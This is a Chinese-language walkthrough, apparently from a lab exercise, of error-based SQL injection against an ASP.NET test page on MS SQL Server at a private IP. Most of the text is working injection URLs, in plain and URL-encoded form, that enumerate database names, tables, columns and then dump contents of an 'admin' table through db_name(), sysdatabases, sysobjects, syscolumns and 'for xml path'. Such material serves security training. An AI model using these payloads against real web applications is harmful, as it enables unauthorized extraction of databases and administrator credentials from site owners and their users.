1. 简单测试
test.aspx 内容如下:
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
http://192.168.20.155/test.aspx?id=1
2. 获取数据库名
test.aspx?id=1 and db_name()>0;
http://192.168.20.155/test.aspx?id=1%20and%20db_name()>0
3. 爆库名
test.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 )--+
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20top%201%20name%20from%20master..sysdatabases%20where%20dbid>4%20)--+
系统前四个默认一般为系统数据库 所以dbid从五开始查询 第一个为ZoomLa
获取非系统数据库的名字不等于asp_test的数据库名
test.aspx?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'asp_test')--+
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20top%201%20name%20from%20master..sysdatabases%20where%20dbid>4%20and%20name<>%20'asp_test')--+
获取dbid为6的数据库名
test.aspx?id=1 and 1=(select name from master..sysdatabases where dbid=6)--+
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20top%201%20name%20from%20master..sysdatabases%20where%20dbid=6%20)--+
一次性获取全部数据库
test.aspx?id=1 and 1=(select name from master..sysdatabases for xml path)--+
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20name%20from%20master..sysdatabases%20for%20xml%20path)--+
4. 爆表名
test.aspx?id=1 and 1=(select name from asp_test..sysobjects for xml path)--+
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20name%20from%20asp_test..sysobjects%20for%20xml%20path)--+
打开视图-系统视图 能看到sys.objects
查询asp_test下面的用户表select * from sysobjects where xtype='u'
查询asp_test下面的用户表select * from sysobjects where xtype='u'
查询asp_test下面的除了admin和sqlmapoutput的用户表
select * from sysobjects where xtype='u' and name <> 'admin' and name <> 'sqlmapoutput'
查询排在第一位的asp_test下的名字不为sqlmapoutput的表名
select top 1 name from asp_test..sysobjects where xtype='u' and name <> 'sqlmapoutput'
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20top%201%20name%20from%20asp_test..sysobjects%20where%20xtype='u'%20and%20name%20<>%20'sqlmapoutput')--+
xtype
xtype可以是下列对象类型中的一种:
C = CHECK 约束 D = 默认值或 DEFAULT 约束 F = FOREIGN KEY 约束 L = 日志 FN = 标量函数
IF = 内嵌表函数 P = 存储过程 PK = PRIMARY KEY 约束(类型是 K) RF = 复制筛选存储过程
S = 系统表 TF = 表函数 TR = 触发器 U = 用户表 UQ = UNIQUE 约束(类型是 K)
V = 视图 X = 扩展存储过程
4. 爆列名
test.aspx?id=1 and 1=(select top 1 name from asp_test..syscolumns where id=(select id from asp_test..sysobjects where name='admin') and name !='id' and name<> 'name')--+
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20top%201%20name%20from%20asp_test..syscolumns%20where%20id=(select%20id%20from%20asp_test..sysobjects%20where%20name='admin')%20and%20name%20!='id'%20and%20name<>%20'name')--+
先在sysobjects中查询admin表的id值 再拿id去syscolumns中查询列名
5. 爆字段值
select name from asp_test..admin
http://192.168.20.155/test.aspx?id=1%20and%201=(select%20name%20from%20asp_test..admin%20for%20xml%20path)--+